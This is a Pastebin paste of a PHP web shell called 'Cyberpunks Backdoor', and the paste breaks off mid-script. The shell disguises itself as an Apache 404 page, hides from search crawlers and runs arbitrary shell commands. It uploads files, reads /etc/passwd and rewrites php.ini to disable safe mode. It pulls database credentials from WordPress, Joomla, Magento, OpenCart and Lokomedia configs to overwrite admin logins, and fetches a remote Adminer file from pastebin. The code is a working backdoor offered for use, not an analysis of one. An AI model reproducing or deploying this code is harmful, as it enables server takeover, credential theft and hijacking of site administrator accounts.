Guest User

s

a guest
Jun 21st, 2018
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 45.84 KB | None | 0 0
  1. <?php
  2.  
  3. session_start();
  4. mkdir('blackscorpion_here');
  5. $auth_pass = "b2f3e4e0e14989401b71a435b0500086"; // default: blackscorpion
  6. $color = "#00ff00";
  7. $default_action = 'FilesMan';
  8. $default_use_ajax = true;
  9. $default_charset = 'UTF-8';
  10. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  11. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  12. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  13. header('HTTP/1.0 404 Not Found');
  14. exit;
  15. }
  16. }
  17.  
  18. function login_shell() {
  19. ?>
  20. <html>
  21. <head>
  22. <title>404 Not Found</title>
  23. <meta name='author' content='MRAF04'>
  24. <meta charset="UTF-8">
  25. <style type='text/css'>
  26. @import url(https://fonts.googleapis.com/css?family=Jolly +Lodger);
  27. html {
  28. background-color: white;
  29. min-height: 100%;
  30. background-repeat: no-repeat;
  31. background-attachment: fixed;
  32. background-position: center;
  33. background-size: cover;
  34. color: black;
  35. font-family: 'Jolly Lodger';
  36. font-size: 13px;
  37. width: 100%;
  38. padding: 0px;
  39. -moz-border-radius: 5px;
  40. -webkit-border-radius: 5px;
  41. border-radius: 5px;
  42. }
  43. li {
  44. display: inline;
  45. margin: 5px;
  46. padding: 5px;
  47. -moz-border-radius: 5px;
  48. -webkit-border-radius: 5px;
  49. border-radius: 5px;
  50. }
  51.  
  52.  
  53.  
  54. a {
  55. padding: 1px;
  56. border: 1px solid black;
  57. color: green;
  58. text-decoration:
  59. none;color: black;
  60. font-size:14px;
  61. }
  62.  
  63. a:hover {
  64. color: purple;
  65. text-decoration: underline;
  66. }
  67.  
  68. b {
  69. color: purple;
  70.  
  71. }
  72. input[type=text], input[type=password],input[type=submit] {
  73. background: white;
  74. overflow: hidden;
  75. color: black;
  76. border: 1px solid white;
  77. margin: 5px auto;
  78. padding-left: 5px;
  79. font-family: 'Ubuntu';
  80. font-size: 13px;
  81. -moz-border-radius: 5px;
  82. -webkit-border-radius: 5px;
  83. border-radius: 5px;
  84. position:relative;
  85. bottom:75px; left:300pt;
  86. }
  87.  
  88. </style>
  89. </head>
  90. <h1>404 Not Found</h1>
  91. <p>The requested URL was not found on this server.</p>
  92. <p>Additionally, a 404 Not Found
  93. error was encountered while trying to use an ErrorDocument to handle the request.</p>
  94. <hr>
  95. <address>Apache/2.4.16 (Unix) OpenSSL/1.0.1e-fips mod_bwlimited/1.4 Server at Port 80</address>
  96. </body>
  97. <center>
  98. <form method="post">
  99. <input type="password" name="pass">
  100. </form>
  101. <?php
  102. exit;
  103. }
  104. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  105. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  106. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  107. else
  108. login_shell();
  109. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  110. @ob_clean();
  111. $file = $_GET['file'];
  112. header('Content-Description: File Transfer');
  113. header('Content-Type: application/octet-stream');
  114. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  115. header('Expires: 0');
  116. header('Cache-Control: must-revalidate');
  117. header('Pragma: public');
  118. header('Content-Length: ' . filesize($file));
  119. readfile($file);
  120. exit;
  121. }
  122. ?>
  123. <html>
  124. <head>
  125. <title>Cyberpunks Backdoor</title>
  126. <meta name='author' content='MRAF04'>
  127. <meta charset="UTF-8">
  128. <style type='text/css'>
  129. @import url('http://fonts.googleapis.com/css?family=Jolly+Lodger');
  130. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  131. html {
  132. min-height: 100%;
  133. background-color: black;
  134. background-repeat: no-repeat;
  135. background-attachment: fixed;
  136. background-position: center;
  137. background-size: cover;
  138. color: white;
  139. font-family: 'Ubuntu';
  140. font-size: 13px;
  141. width: 100%;
  142. padding: 0px;
  143. -moz-border-radius: 5px;
  144. -webkit-border-radius: 5px;
  145. border-radius: 5px;
  146. }
  147. li {
  148. display: inline;
  149. margin: 5px;
  150. padding: 5px;
  151. -moz-border-radius: 5px;
  152. -webkit-border-radius: 5px;
  153. border-radius: 5px;
  154. }
  155. table, th, td {
  156. border-collapse:collapse;
  157. font-family: Tahoma, Geneva, sans-serif;
  158. background: transparent;
  159. font-family: 'Ubuntu';
  160. font-size: 13px;
  161. -moz-border-radius: 5px;
  162. -webkit-border-radius: 5px;
  163. border-radius: 5px;
  164. }
  165. .table_home, .th_home, .td_home {
  166. border: 1px solid #ffffff;
  167. -moz-border-radius: 5px;
  168. -webkit-border-radius: 5px;
  169. border-radius: 5px;
  170. }
  171. th {
  172. padding: 10px;
  173. }
  174. a {
  175. color: #ffffff;
  176. text-decoration: none;
  177. }
  178. b {
  179. padding: 1px;
  180. border: 1px solid white;
  181. color: green;
  182. text-decoration:
  183. none;color: white;
  184. font-size:14px;
  185. }
  186. a:hover {
  187. color: purple;
  188. text-decoration: underline;
  189. }
  190. tr:hover {
  191. background: #444;
  192. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  193. color: #FFFFFF; TEXT-DECORATION: none;
  194. }
  195.  
  196. input[type=text], input[type=password],input[type=submit] {
  197. background: transparent;
  198. overflow: hidden;
  199. color: #ffffff;
  200. border: 1px solid #ffffff;
  201. margin: 5px auto;
  202. padding-left: 5px;
  203. font-family: 'Ubuntu';
  204. font-size: 13px;
  205. -moz-border-radius: 5px;
  206. -webkit-border-radius: 5px;
  207. border-radius: 5px;
  208. }
  209. textarea {
  210. overflow: hidden;
  211. border: 1px solid #ffffff;
  212. width: 100%;
  213. height: 400px;
  214. padding-left: 5px;
  215. margin: 10px auto;
  216. resize: none;
  217. background: transparent;
  218. color: #ffffff;
  219. font-family: 'Ubuntu';
  220. font-size: 13px;
  221. -moz-border-radius: 5px;
  222. -webkit-border-radius: 5px;
  223. border-radius: 5px;
  224. }
  225. a:focus, input:focus, textarea:focus {
  226. outline: 0;
  227. border-color: rgba(82, 168, 236, 0.8);
  228. -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
  229. -moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
  230. box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
  231.  
  232. select {
  233. width: 152px;
  234. background: #000000;
  235. color: lime;
  236. border: 1px solid #ffffff;
  237. margin: 5px auto;
  238. padding-left: 5px;
  239. font-family: 'Ubuntu';
  240. font-size: 13px;
  241. -moz-border-radius: 5px;
  242. -webkit-border-radius: 5px;
  243. border-radius: 5px;
  244. }
  245. option:hover {
  246. background: lime;
  247. color: #000000;
  248. }
  249.  
  250. </style>
  251. </head>
  252. <?php
  253. function w($dir,$perm) {
  254. if(!is_writable($dir)) {
  255. return "<font color=red>".$perm."</font>";
  256. } else {
  257. return "<font color=lime>".$perm."</font>";
  258. }
  259. }
  260. function r($dir,$perm) {
  261. if(!is_readable($dir)) {
  262. return "<font color=red>".$perm."</font>";
  263. } else {
  264. return "<font color=lime>".$perm."</font>";
  265. }
  266. }
  267. function exe($cmd) {
  268. if(function_exists('system')) {
  269. @ob_start();
  270. @system($cmd);
  271. $buff = @ob_get_contents();
  272. @ob_end_clean();
  273. return $buff;
  274. } elseif(function_exists('exec')) {
  275. @exec($cmd,$results);
  276. $buff = "";
  277. foreach($results as $result) {
  278. $buff .= $result;
  279. } return $buff;
  280. } elseif(function_exists('passthru')) {
  281. @ob_start();
  282. @passthru($cmd);
  283. $buff = @ob_get_contents();
  284. @ob_end_clean();
  285. return $buff;
  286. } elseif(function_exists('shell_exec')) {
  287. $buff = @shell_exec($cmd);
  288. return $buff;
  289. }
  290. }
  291. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  292. $ar0=explode($marqueurDebutLien, $text);
  293. $ar1=explode($marqueurFinLien, $ar0[$i]);
  294. return trim($ar1[0]);
  295. }
  296. function perms($file){
  297. $perms = fileperms($file);
  298. if (($perms & 0xC000) == 0xC000) {
  299. // Socket
  300. $info = 's';
  301. } elseif (($perms & 0xA000) == 0xA000) {
  302. // Symbolic Link
  303. $info = 'l';
  304. } elseif (($perms & 0x8000) == 0x8000) {
  305. // Regular
  306. $info = '-';
  307. } elseif (($perms & 0x6000) == 0x6000) {
  308. // Block special
  309. $info = 'b';
  310. } elseif (($perms & 0x4000) == 0x4000) {
  311. // Directory
  312. $info = 'd';
  313. } elseif (($perms & 0x2000) == 0x2000) {
  314. // Character special
  315. $info = 'c';
  316. } elseif (($perms & 0x1000) == 0x1000) {
  317. // FIFO pipe
  318. $info = 'p';
  319. } else {
  320. // Unknown
  321. $info = 'u';
  322. }
  323. // Owner
  324. $info .= (($perms & 0x0100) ? 'r' : '-');
  325. $info .= (($perms & 0x0080) ? 'w' : '-');
  326. $info .= (($perms & 0x0040) ?
  327. (($perms & 0x0800) ? 's' : 'x' ) :
  328. (($perms & 0x0800) ? 'S' : '-'));
  329. // Group
  330. $info .= (($perms & 0x0020) ? 'r' : '-');
  331. $info .= (($perms & 0x0010) ? 'w' : '-');
  332. $info .= (($perms & 0x0008) ?
  333. (($perms & 0x0400) ? 's' : 'x' ) :
  334. (($perms & 0x0400) ? 'S' : '-'));
  335. // World
  336. $info .= (($perms & 0x0004) ? 'r' : '-');
  337. $info .= (($perms & 0x0002) ? 'w' : '-');
  338. $info .= (($perms & 0x0001) ?
  339. (($perms & 0x0200) ? 't' : 'x' ) :
  340. (($perms & 0x0200) ? 'T' : '-'));
  341. return $info;
  342. }
  343. function hdd($s) {
  344. if($s >= 1073741824)
  345. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  346. elseif($s >= 1048576)
  347. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  348. elseif($s >= 1024)
  349. return sprintf('%1.2f',$s / 1024 ) .' KB';
  350. else
  351. return $s .' B';
  352. }
  353. function findit($mytext,$starttag,$endtag) {
  354. $posLeft = stripos($mytext,$starttag)+strlen($starttag);
  355. $posRight = stripos($mytext,$endtag,$posLeft+1);
  356. return substr($mytext,$posLeft,$posRight-$posLeft);
  357. }
  358. function ambilKata($param, $kata1, $kata2){
  359. if(strpos($param, $kata1) === FALSE) return FALSE;
  360. if(strpos($param, $kata2) === FALSE) return FALSE;
  361. $start = strpos($param, $kata1) + strlen($kata1);
  362. $end = strpos($param, $kata2, $start);
  363. $return = substr($param, $start, $end - $start);
  364. return $return;
  365. }
  366. function getsource($url) {
  367. $curl = curl_init($url);
  368. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  369. curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  370. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  371. curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
  372. $content = curl_exec($curl);
  373. curl_close($curl);
  374. return $content;
  375. }
  376. function bing($dork) {
  377. $npage = 1;
  378. $npages = 30000;
  379. $allLinks = array();
  380. $lll = array();
  381. while($npage <= $npages) {
  382. $x = getsource("http://www.bing.com/search?q=".$dork."&first=".$npage);
  383. if($x) {
  384. preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
  385. foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
  386. $npage = $npage + 10;
  387. if (preg_match("(first=" . $npage . "&amp)siU", $x, $linksuiv) == 0) break;
  388. } else break;
  389. }
  390. $URLs = array();
  391. foreach($allLinks as $url){
  392. $exp = explode("/", $url);
  393. $URLs[] = $exp[2];
  394. }
  395. $array = array_filter($URLs);
  396. $array = array_unique($array);
  397. $sss = count(array_unique($array));
  398. foreach($array as $domain) {
  399. echo $domain."\n";
  400. }
  401. }
  402. function reverse($url) {
  403. $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  404. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  405. curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
  406. curl_setopt($ch, CURLOPT_HEADER, 0);
  407. curl_setopt($ch, CURLOPT_POST, 1);
  408. $resp = curl_exec($ch);
  409. $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  410. $array = explode(",,", $resp);
  411. unset($array[0]);
  412. foreach($array as $lnk) {
  413. $lnk = "http://$lnk";
  414. $lnk = str_replace(",", "", $lnk);
  415. echo $lnk."\n";
  416. ob_flush();
  417. flush();
  418. }
  419. curl_close($ch);
  420. }
  421. if(get_magic_quotes_gpc()) {
  422. function idx_ss($array) {
  423. return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  424. }
  425. $_POST = idx_ss($_POST);
  426. $_COOKIE = idx_ss($_COOKIE);
  427. }
  428.  
  429. if(isset($_GET['dir'])) {
  430. $dir = $_GET['dir'];
  431. chdir($dir);
  432. } else {
  433. $dir = getcwd();
  434. }
  435. $kernel = php_uname();
  436. $ip = gethostbyname($_SERVER['HTTP_HOST']);
  437. $dir = str_replace("\\","/",$dir);
  438. $scdir = explode("/", $dir);
  439. $freespace = hdd(disk_free_space("/"));
  440. $total = hdd(disk_total_space("/"));
  441. $used = $total - $freespace;
  442. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
  443. $ds = @ini_get("disable_functions");
  444. $mysql = (function_exists('mysql_connect')) ? "<font color=lime>MYSQL</font>" : "<font color=red>MYSQL</font>";
  445. $curl = (function_exists('curl_version')) ? "<font color=lime>CURL</font>" : "<font color=red>CURL</font>";
  446. $wget = (exe('wget --help')) ? "<font color=lime>WGET</font>" : "<font color=red>WGET</font>";
  447. $perl = (exe('perl --help')) ? "<font color=lime>PERL</font>" : "<font color=red>PERL</font>";
  448. $python = (exe('python --help')) ? "<font color=lime>PYTHON</font>" : "<font color=red>PYTHON</font>";
  449. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  450. if(!function_exists('posix_getegid')) {
  451. $user = @get_current_user();
  452. $uid = @getmyuid();
  453. $gid = @getmygid();
  454. $group = "?";
  455. } else {
  456. $uid = @posix_getpwuid(posix_geteuid());
  457. $gid = @posix_getgrgid(posix_getegid());
  458. $user = $uid['name'];
  459. $uid = $uid['uid'];
  460. $group = $gid['name'];
  461. $gid = $gid['gid'];
  462. }
  463. echo "<font color=lime>".$kernel."</font><br>";
  464. echo "Root@Cyberpunks:~";
  465. foreach($scdir as $c_dir => $cdir) {
  466. echo "<a href='?dir=";
  467. for($i = 0; $i <= $c_dir; $i++) {
  468. echo $scdir[$i];
  469. if($i != $c_dir) {
  470. echo "/";
  471. }
  472. }
  473. echo "'>$cdir</a>/";
  474. }
  475. echo "&nbsp;&nbsp;[ ".w($dir, perms($dir))." ]<br>";
  476. echo "<center>";
  477. echo "<ul><font face='Jolly Lodger' size='9.9px'>";
  478. echo "<li><font color='red'>Cyberpunks</font> Backdoor</li>";
  479. echo "<center> </font> </font>";
  480. echo "<form method='post'>
  481. <font style='text-decoration: none;'> root@cyberpunks </font>
  482. <input type='text' size='20' height='10' name='cmd'><input type='submit' name='do_cmd' value='enter'>
  483. </form>";
  484. if($_POST['do_cmd']) {
  485. echo "<pre>".exe($_POST['cmd'])."</pre>";
  486. }
  487. if($_POST['upload']) {
  488. if($_POST['tipe_upload'] == 'biasa') {
  489. if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
  490. $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  491. } else {
  492. $act = "<font color=red>failed to upload file</font>";
  493. }
  494. } else {
  495. $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
  496. $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
  497. if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
  498. if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
  499. $act = "<font color=lime>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
  500. } else {
  501. $act = "<font color=red>failed to upload file</font>";
  502. }
  503. } else {
  504. $act = "<font color=red>failed to upload file</font>";
  505. }
  506. }
  507. }
  508. echo "
  509. <form method='post' enctype='multipart/form-data'>
  510. <input type='radio' name='tipe_upload' value='biasa' checked> ".w($dir,"Current")."
  511. <input type='radio' name='tipe_upload' value='home_root'> ".w($_SERVER['DOCUMENT_ROOT'],"Home")."
  512. <input type='file' name='ix_file'>
  513. <input type='submit' value='upload' name='upload'>
  514. </form>";
  515. echo $act;
  516.  
  517.  
  518. echo "<hr>";
  519. echo "<center>";
  520. echo "<ul>";
  521. echo "<li> <a href='?'>Home&nbsp;</a> </li>";
  522. echo "<li> <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> </li>";
  523. echo "<li> <a href='?dir=$dir&do=tconf'>Config</a> </li>";
  524. echo "<li> <a href='?dir=$dir&do=aeu'>Auto Edit User</a> </li>";
  525. echo "<li> <a href='?dir=$dir&do=adminer'>Adminer</a> </li>";
  526. echo "<li> <a style='color: red;' href='?logout=true'>Logout</a> </li>";
  527. echo "</ul>";
  528. echo "</center>";
  529. echo "<hr>";
  530. if($_GET['logout'] == true) {
  531. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  532. echo "<script>window.location='?';</script>";
  533.  
  534. }
  535. elseif($_GET['do'] == 'aeu') {
  536. if($_POST['hajar']) {
  537. if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  538. echo "username atau password harus lebih dari 6 karakter";
  539. } else {
  540. $user_baru = $_POST['user_baru'];
  541. $pass_baru = md5($_POST['pass_baru']);
  542. $conf = $_POST['config_dir'];
  543. $scan_conf = scandir($conf);
  544. foreach($scan_conf as $file_conf) {
  545. if(!is_file("$conf/$file_conf")) continue;
  546. $config = file_get_contents("$conf/$file_conf");
  547. if(preg_match("/JConfig|joomla/",$config)) {
  548. $dbhost = ambilkata($config,"host = '","'");
  549. $dbuser = ambilkata($config,"user = '","'");
  550. $dbpass = ambilkata($config,"password = '","'");
  551. $dbname = ambilkata($config,"db = '","'");
  552. $dbprefix = ambilkata($config,"dbprefix = '","'");
  553. $prefix = $dbprefix."users";
  554. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  555. $db = mysql_select_db($dbname);
  556. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  557. $result = mysql_fetch_array($q);
  558. $id = $result['id'];
  559. $site = ambilkata($config,"sitename = '","'");
  560. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  561. echo "Config => ".$file_conf."<br>";
  562. echo "CMS => Joomla<br>";
  563. if($site == '') {
  564. echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  565. } else {
  566. echo "Sitename => $site<br>";
  567. }
  568. if(!$update OR !$conn OR !$db) {
  569. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  570. } else {
  571. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  572. }
  573. mysql_close($conn);
  574. } elseif(preg_match("/WordPress/",$config)) {
  575. $dbhost = ambilkata($config,"DB_HOST', '","'");
  576. $dbuser = ambilkata($config,"DB_USER', '","'");
  577. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  578. $dbname = ambilkata($config,"DB_NAME', '","'");
  579. $dbprefix = ambilkata($config,"table_prefix = '","'");
  580. $prefix = $dbprefix."users";
  581. $option = $dbprefix."options";
  582. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  583. $db = mysql_select_db($dbname);
  584. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  585. $result = mysql_fetch_array($q);
  586. $id = $result[ID];
  587. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  588. $result2 = mysql_fetch_array($q2);
  589. $target = $result2[option_value];
  590. if($target == '') {
  591. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  592. } else {
  593. $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  594. }
  595. $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  596. echo "Config => ".$file_conf."<br>";
  597. echo "CMS => Wordpress<br>";
  598. echo $url_target;
  599. if(!$update OR !$conn OR !$db) {
  600. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  601. } else {
  602. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  603. }
  604. mysql_close($conn);
  605. } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  606. $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  607. $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  608. $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  609. $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  610. $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  611. $prefix = $dbprefix."admin_user";
  612. $option = $dbprefix."core_config_data";
  613. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  614. $db = mysql_select_db($dbname);
  615. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  616. $result = mysql_fetch_array($q);
  617. $id = $result[user_id];
  618. $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  619. $result2 = mysql_fetch_array($q2);
  620. $target = $result2[value];
  621. if($target == '') {
  622. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  623. } else {
  624. $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  625. }
  626. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  627. echo "Config => ".$file_conf."<br>";
  628. echo "CMS => Magento<br>";
  629. echo $url_target;
  630. if(!$update OR !$conn OR !$db) {
  631. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  632. } else {
  633. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  634. }
  635. mysql_close($conn);
  636. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  637. $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  638. $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  639. $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  640. $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  641. $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  642. $prefix = $dbprefix."user";
  643. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  644. $db = mysql_select_db($dbname);
  645. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  646. $result = mysql_fetch_array($q);
  647. $id = $result[user_id];
  648. $target = ambilkata($config,"HTTP_SERVER', '","'");
  649. if($target == '') {
  650. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  651. } else {
  652. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  653. }
  654. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  655. echo "Config => ".$file_conf."<br>";
  656. echo "CMS => OpenCart<br>";
  657. echo $url_target;
  658. if(!$update OR !$conn OR !$db) {
  659. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  660. } else {
  661. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  662. }
  663. mysql_close($conn);
  664. } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  665. $dbhost = ambilkata($config,'server = "','"');
  666. $dbuser = ambilkata($config,'username = "','"');
  667. $dbpass = ambilkata($config,'password = "','"');
  668. $dbname = ambilkata($config,'database = "','"');
  669. $prefix = "users";
  670. $option = "identitas";
  671. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  672. $db = mysql_select_db($dbname);
  673. $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  674. $result = mysql_fetch_array($q);
  675. $target = $result[alamat_website];
  676. if($target == '') {
  677. $target2 = $result[url];
  678. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  679. if($target2 == '') {
  680. $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  681. } else {
  682. $cek_login3 = file_get_contents("$target2/adminweb/");
  683. $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  684. if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  685. $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  686. } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  687. $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  688. } else {
  689. $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  690. }
  691. }
  692. } else {
  693. $cek_login = file_get_contents("$target/adminweb/");
  694. $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  695. if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  696. $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  697. } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  698. $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  699. } else {
  700. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  701. }
  702. }
  703. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
  704. echo "Config => ".$file_conf."<br>";
  705. echo "CMS => Lokomedia<br>";
  706. if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  707. echo $url_target2;
  708. } else {
  709. echo $url_target;
  710. }
  711. if(!$update OR !$conn OR !$db) {
  712. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  713. } else {
  714. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  715. }
  716. mysql_close($conn);
  717. }
  718. }
  719. }
  720. } else {
  721. echo "<center>
  722. <h1>Auto Edit User Config</h1>
  723. <form method='post'>
  724. DIR Config: <br>
  725. <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  726. Set User & Pass: <br>
  727. <input type='text' name='user_baru' value='mraf04' placeholder='user_baru'><br>
  728. <input type='text' name='pass_baru' value='mraf04' placeholder='pass_baru'><br>
  729. <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
  730. </form>
  731. <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  732. ";
  733. }
  734. }
  735. elseif($_GET['do'] == 'adminer') {
  736. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  737. function adminer($url, $isi) {
  738. $fp = fopen($isi, "w");
  739. $ch = curl_init();
  740. curl_setopt($ch, CURLOPT_URL, $url);
  741. curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  742. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  743. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  744. curl_setopt($ch, CURLOPT_FILE, $fp);
  745. return curl_exec($ch);
  746. curl_close($ch);
  747. fclose($fp);
  748. ob_flush();
  749. flush();
  750. }
  751. if(file_exists('sql.php')) {
  752. echo "<center><font color=lime><a href='$full/sql.php' target='_blank'>adminer login</a></font></center>";
  753. } else {
  754. if(adminer("http://pastebin.com/raw/EzJmmzXt","sql.php")) {
  755. echo "<center><font color=lime><a href='$full/sql.php' target='_blank'>-> adminer login <-</a></font></center>";
  756. } else {
  757. echo "<center><font color=red>gagal buat file adminer</font></center>";
  758. }
  759. }
  760.  
  761. }
  762. elseif($_GET['do'] == 'entod') {
  763. echo "<center>";
  764. echo "<ul>";
  765. echo "<li> <a href='?dir=$dir&do=indi'>Config Grabber</a> </li>";
  766. echo "</ul>";
  767. echo "</center>";
  768. $byphp = "safe_mode = Off
  769. disable_functions = None
  770. ";
  771. file_put_contents("php.ini",$byphp);
  772.  
  773. echo '<CENTER><b>Config Grabber | MRAF04</b><br><br>';
  774. ?>
  775.  
  776. <bR><form method=post>
  777. <textarea style='width: 543px; height: 420px;' name=user><?php $users=file("/etc/passwd");
  778. foreach($users as $user)
  779. {
  780. $str=explode(":",$user);
  781. echo $str[0]."\n";
  782. }
  783.  
  784. ?></textarea><br>
  785. <input type=submit name=su value="Lets Start" /></form></CENTER>
  786. <center>
  787. <?php
  788. error_reporting(0);
  789. echo "<font color=#ff00 size=2 face=\"comic sans ms\">";
  790. if(isset($_POST['su']))
  791. {
  792. mkdir('lol',0777);
